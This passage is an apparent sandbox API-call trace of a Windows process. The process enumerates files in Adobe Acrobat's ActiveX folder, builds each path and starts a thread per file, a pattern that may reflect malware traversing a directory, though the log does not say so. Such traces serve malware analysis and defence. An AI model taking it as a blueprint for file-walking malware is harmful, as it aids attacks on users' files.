lpStartAddress=0x2b4a8a0, lpParameter=0x202b0150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0127.391] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SUO", cAlternateFileName="")) returned 1 [0127.391] wcscmp (_String1="AcroPDF.SUO", _String2=".") returned 1 [0127.391] wcscmp (_String1="AcroPDF.SUO", _String2="..") returned 1 [0127.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1870 [0127.391] wcscpy (in: _Dest=0x202b1870, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.391] wcscat (in: _Dest=0x202b1870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.391] wcscat (in: _Dest=0x202b1870, _Source="AcroPDF.SUO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO" [0127.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0127.392] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SVE", cAlternateFileName="")) returned 1 [0127.392] wcscmp (_String1="AcroPDF.SVE", _String2=".") returned 1 [0127.392] wcscmp (_String1="AcroPDF.SVE", _String2="..") returned 1 [0127.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1cd0 [0127.392] wcscpy (in: _Dest=0x202b1cd0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.392] wcscat (in: _Dest=0x202b1cd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.392] wcscat (in: _Dest=0x202b1cd0, _Source="AcroPDF.SVE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE" [0127.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0127.393] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.TUR", cAlternateFileName="")) returned 1 [0127.393] wcscmp (_String1="AcroPDF.TUR", _String2=".") returned 1 [0127.393] wcscmp (_String1="AcroPDF.TUR", _String2="..") returned 1 [0127.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0470 [0127.393] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.393] wcscat (in: _Dest=0x202b0470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.393] wcscat (in: _Dest=0x202b0470, _Source="AcroPDF.TUR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR" [0127.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0127.395] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.UKR", cAlternateFileName="")) returned 1 [0127.395] wcscmp (_String1="AcroPDF.UKR", _String2=".") returned 1 [0127.395] wcscmp (_String1="AcroPDF.UKR", _String2="..") returned 1 [0127.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0127.395] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.395] wcscat (in: _Dest=0x202b1370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.395] wcscat (in: _Dest=0x202b1370, _Source="AcroPDF.UKR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR" [0127.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0127.396] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CAT", cAlternateFileName="")) returned 1 [0127.396] wcscmp (_String1="PDFShell.CAT", _String2=".") returned 1 [0127.396] wcscmp (_String1="PDFShell.CAT", _String2="..") returned 1 [0127.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1af0 [0127.396] wcscpy (in: _Dest=0x202b1af0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.397] wcscat (in: _Dest=0x202b1af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.397] wcscat (in: _Dest=0x202b1af0, _Source="PDFShell.CAT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT" [0127.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0127.398] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHS", cAlternateFileName="")) returned 1 [0127.398] wcscmp (_String1="PDFShell.CHS", _String2=".") returned 1 [0127.398] wcscmp (_String1="PDFShell.CHS", _String2="..") returned 1 [0127.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1b90 [0127.398] wcscpy (in: _Dest=0x202b1b90, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.398] wcscat (in: _Dest=0x202b1b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.398] wcscat (in: _Dest=0x202b1b90, _Source="PDFShell.CHS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" [0127.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0127.399] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHT", cAlternateFileName="")) returned 1 [0127.400] wcscmp (_String1="PDFShell.CHT", _String2=".") returned 1 [0127.400] wcscmp (_String1="PDFShell.CHT", _String2="..") returned 1 [0127.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1eb0 [0127.400] wcscpy (in: _Dest=0x202b1eb0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.400] wcscat (in: _Dest=0x202b1eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.400] wcscat (in: _Dest=0x202b1eb0, _Source="PDFShell.CHT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" [0127.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0127.401] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CZE", cAlternateFileName="")) returned 1 [0127.401] wcscmp (_String1="PDFShell.CZE", _String2=".") returned 1 [0127.401] wcscmp (_String1="PDFShell.CZE", _String2="..") returned 1 [0127.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1d70 [0127.401] wcscpy (in: _Dest=0x202b1d70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.401] wcscat (in: _Dest=0x202b1d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.402] wcscat (in: _Dest=0x202b1d70, _Source="PDFShell.CZE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE" [0127.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0127.403] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DAN", cAlternateFileName="")) returned 1 [0127.405] wcscmp (_String1="PDFShell.DAN", _String2=".") returned 1 [0127.406] wcscmp (_String1="PDFShell.DAN", _String2="..") returned 1 [0127.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1e10 [0127.406] wcscpy (in: _Dest=0x202b1e10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.406] wcscat (in: _Dest=0x202b1e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.406] wcscat (in: _Dest=0x202b1e10, _Source="PDFShell.DAN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN" [0127.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1578 [0127.858] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DEU", cAlternateFileName="")) returned 1 [0127.858] wcscmp (_String1="PDFShell.DEU", _String2=".") returned 1 [0127.858] wcscmp (_String1="PDFShell.DEU", _String2="..") returned 1 [0127.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b370 [0127.858] wcscpy (in: _Dest=0x2027b370, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.859] wcscat (in: _Dest=0x2027b370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.859] wcscat (in: _Dest=0x2027b370, _Source="PDFShell.DEU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU" [0127.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a0 [0127.871] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdfshell.dll", cAlternateFileName="")) returned 1 [0127.871] wcscmp (_String1="pdfshell.dll", _String2=".") returned 1 [0127.871] wcscmp (_String1="pdfshell.dll", _String2="..") returned 1 [0127.871] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ESP", cAlternateFileName="")) returned 1 [0127.871] wcscmp (_String1="PDFShell.ESP", _String2=".") returned 1 [0127.871] wcscmp (_String1="PDFShell.ESP", _String2="..") returned 1 [0127.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b2d0 [0127.872] wcscpy (in: _Dest=0x2027b2d0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.872] wcscat (in: _Dest=0x2027b2d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.872] wcscat (in: _Dest=0x2027b2d0, _Source="PDFShell.ESP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP" [0127.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a4 [0127.873] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.EUQ", cAlternateFileName="")) returned 1 [0127.873] wcscmp (_String1="PDFShell.EUQ", _String2=".") returned 1 [0127.873] wcscmp (_String1="PDFShell.EUQ", _String2="..") returned 1 [0127.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b230 [0127.874] wcscpy (in: _Dest=0x2027b230, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.874] wcscat (in: _Dest=0x2027b230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.874] wcscat (in: _Dest=0x2027b230, _Source="PDFShell.EUQ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ" [0127.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a8 [0127.875] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.FRA", cAlternateFileName="")) returned 1 [0127.875] wcscmp (_String1="PDFShell.FRA", _String2=".") returned 1 [0127.875] wcscmp (_String1="PDFShell.FRA", _String2="..") returned 1 [0127.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b190 [0127.876] wcscpy (in: _Dest=0x2027b190, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.876] wcscat (in: _Dest=0x2027b190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.876] wcscat (in: _Dest=0x2027b190, _Source="PDFShell.FRA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA" [0127.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ac [0127.877] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HRV", cAlternateFileName="")) returned 1 [0127.877] wcscmp (_String1="PDFShell.HRV", _String2=".") returned 1 [0127.877] wcscmp (_String1="PDFShell.HRV", _String2="..") returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b0f0 [0127.877] wcscpy (in: _Dest=0x2027b0f0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.877] wcscat (in: _Dest=0x2027b0f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.877] wcscat (in: _Dest=0x2027b0f0, _Source="PDFShell.HRV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV" [0127.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b0 [0127.879] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HUN", cAlternateFileName="")) returned 1 [0127.879] wcscmp (_String1="PDFShell.HUN", _String2=".") returned 1 [0127.879] wcscmp 